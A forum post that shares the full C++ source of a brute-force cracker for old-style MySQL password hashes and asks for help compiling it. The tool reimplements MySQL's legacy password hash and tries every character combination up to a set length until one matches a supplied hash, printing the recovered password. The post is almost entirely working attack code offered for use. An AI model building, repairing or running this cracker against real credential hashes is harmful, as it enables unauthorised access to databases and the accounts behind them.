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Hi I found This Mysql BruteForce

///////////////////////////////////////////////////////////////////////////////////////////////
//
// MySQL brute force password attack
//
// to compile : g++ -omysqlpassword mysqlpassword.c -O6 -lm
//
// Written by : term@rmci.net, current version http://term.rmci.net/mysqlpassword.cpp
//
#include <iostream>
#include <stdio.h>
#include <math.h>
#include <stdlib.h>
#include <string.h> // memset
#include <unistd.h> // usleep

using namespace std;

struct rand_struct {
 unsigned long seed1,seed2,max_value;
 double max_value_dbl;
};

void make_scrambled_password(char *,const char *);
char *scramble(char *,const char *,const char *, int);

int brute(const char *password) {
 // Tune stuff here, change min / max for the char range to crack and width for max password width.
 unsigned int min=32,max=122,pos=0,width=11,max_pos=0;
 unsigned char data[255];
 register unsigned long long loops=0;
 char *encrypted_password = new char[255];
 memset(encrypted_password, 0, 255);
 memset((char*)&data, min, 255);
 while(width) {
   loops++;
   if(data[pos] != max) {
     data[pos]++;
   } else {
     for(register int i=pos; i<max; i++) {
       if(data[i] != max) {
         data[i]++;
         pos=i;
         break;
       }
     }

     if(pos>max_pos)
       max_pos=pos;

     for(register int i=pos-1; i >= 0; i--) {
       if(i==0 && data[i] == max) {
         data[i] = min;
         pos = 0;
         break;
       }
       if(data[i] != max || i==0) {
         pos = i;
         break;
       }
       data[i] = min;
     }
   }

   if(max_pos>width) {
     cout<<"No match found"<<endl;
     width=0;
     return(0);
   }
   data[max_pos+1] = 0;
       make_scrambled_password(encrypted_password,(const char*)data);
   if(!strcmp(encrypted_password,password)) {
     cout<<"MATCH ["<<data<<"] ["<<encrypted_password<<"]==["<<password<<"]"<<endl;
     return(0);
   }
   data[max_pos+1] = min;
   if((loops%500000)==0) {
     cout<<"[ "<<dec<<loops<<" ]";
     for(int i=0; i<=max_pos; i++) {
         cout<<" 0x"<<hex<<(int)data[i];
     }
     data[max_pos+1] = 0;
     cout<<" ("<<data<<")";
     data[max_pos+1] = min;
     cout<<endl;
   }
 }
}

int main(int argc, char* argv[]) {
 if(argc!=2) {
   fprintf(stderr,"usage : %s [ENCRYPTED MYSQL PASSWORD]\nexample , 5d2e19393cc5ef67 is encrypted value 'password' : %s 5d2e19393cc5ef67\n",argv[0],argv[0]);
   return(0);
 }
 brute(argv[1]);
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// thx mysql source ^_^
//
void randominit(struct rand_struct *rand_st,ulong seed1, ulong seed2) {
 rand_st->max_value= 0x3FFFFFFFL;
 rand_st->max_value_dbl=(double) rand_st->max_value;
 rand_st->seed1=seed1%rand_st->max_value ;
 rand_st->seed2=seed2%rand_st->max_value;
}
static void old_randominit(struct rand_struct *rand_st,ulong seed1) {
 rand_st->max_value= 0x01FFFFFFL;
 rand_st->max_value_dbl=(double) rand_st->max_value;
 seed1%=rand_st->max_value;
 rand_st->seed1=seed1 ; rand_st->seed2=seed1/2;
}
double rnd(struct rand_struct *rand_st) {
 rand_st->seed1=(rand_st->seed1*3+rand_st->seed2) % rand_st->max_value;
 rand_st->seed2=(rand_st->seed1+rand_st->seed2+33) % rand_st->max_value;
 return(((double) rand_st->seed1)/rand_st->max_value_dbl);
}
inline void hash_password(ulong *result, const char *password) {
 register ulong nr=1345345333L, add=7, nr2=0x12345671L;
 ulong tmp;
 for (; *password ; password++) {
   if (*password == ' ' || *password == '\t')
     continue;
 tmp= (ulong) (unsigned char) *password;
 nr^= (((nr & 63)+add)*tmp)+ (nr << 8);
 nr2+=(nr2 << 8) ^ nr;
 add+=tmp;
 }
 result[0]=nr & (((ulong) 1L << 31) -1L); /* Don't use sign bit (str2int) */;
 result[1]=nr2 & (((ulong) 1L << 31) -1L);
 return;
}
inline void make_scrambled_password(char *to,const char *password) {
 ulong hash_res[2];
 hash_password(hash_res,password);
 sprintf(to,"%08lx%08lx",hash_res[0],hash_res[1]);
}
static inline uint char_val(char X) {
 return (uint) (X >= '0' && X <= '9' ? X-'0' : X >= 'A' && X <= 'Z' ? X-'A'+10 : X-'a'+10);
}
char *scramble(char *to,const char *message,const char *password, int old_ver) {
 struct rand_struct rand_st;
 ulong hash_pass[2],hash_message[2];
 if(password && password[0]) {
   char *to_start=to;
   hash_password(hash_pass,password);
   hash_password(hash_message,message);
   if (old_ver)
     old_randominit(&rand_st,hash_pass[0] ^ hash_message[0]);
   else
     randominit(&rand_st,hash_pass[0] ^ hash_message[0],
   hash_pass[1] ^ hash_message[1]);
   while (*message++)
     *to++= (char) (floor(rnd(&rand_st)*31)+64);
   if (!old_ver) {
     char extra=(char) (floor(rnd(&rand_st)*31));
     while(to_start != to)
       *(to_start++)^=extra;
   }
 }
 *to=0;
 return to;
}

 

Well i want to found a way to compile it :S If someone could help me!

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